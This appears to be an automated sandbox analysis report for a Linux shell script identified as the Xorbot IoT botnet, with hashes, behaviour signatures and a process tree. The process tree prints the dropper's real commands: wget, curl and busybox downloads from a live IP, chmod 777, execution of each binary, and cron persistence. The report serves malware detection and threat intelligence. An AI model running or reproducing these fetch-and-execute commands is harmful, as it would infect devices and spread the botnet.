Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-12-2024 16:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f6bd33e2fdcb1e0896028c8af8d15c0b

  • SHA1

    19ac7736e1325c6b2f90a67e915cbf04b778d6d3

  • SHA256

    fb49bd7f52a014b5e07587fb826822f3884b9ecc8a40380dcd2c0f58284f4de4

  • SHA512

    2548568c238900b5445d454b38ca9c33d7d55f0888615a5057058aacd5980ca49d60d2084da5f43764db0b92a08fa1e5411fcfd18c628a0c1212ebcb5781b032

  • SSDEEP

    192:ntdYqZnD6Jb48QutTRtcHZ8QutTRtitdYa:8qZnD6Jima

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1512) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:695
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/chmod
          chmod 777 Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • File and Directory Permissions Modification
          PID:724
        • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          ./Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Executes dropped EXE
          PID:725
        • /bin/rm
          rm Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Writes file to tmp directory
            PID:728
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/chmod
            chmod 777 bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            ./bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:735
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:736
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:737
            • /bin/chmod
              chmod 777 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              ./3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Executes dropped EXE
              PID:742
            • /bin/rm
              rm 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:747
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:756
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:766
              • /bin/chmod
                chmod 777 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                ./7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Executes dropped EXE
                PID:771
              • /bin/rm
                rm 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                  PID:775
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:785
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /bin/chmod
                  chmod 777 pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:799
                • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  ./pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:800
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:802
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:804
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:805
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:806
                      • /bin/rm
                        rm pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                        2⤵
                          PID:808
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                          2⤵
                            PID:844

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.xtzq8r

                          Filesize

                          210B

                          MD5

                          346255ff9007c4a59bacef986aec3d30

                          SHA1

                          29c1cc310f1d56a5655e387ce39c7f72ebe15f9b

                          SHA256

                          5dd262fdfa2d3d424ecac03a44dc553165f5f15e7db0265632e444f1697e2da5

                          SHA512

                          83ec3dd83da5be9328b887c36a0074c134c155c8b954c6b566a5a0be2042e2981bb344a86a43b21a02510b27c8b9f3f208170fec19931790152cb8b4fc5767ea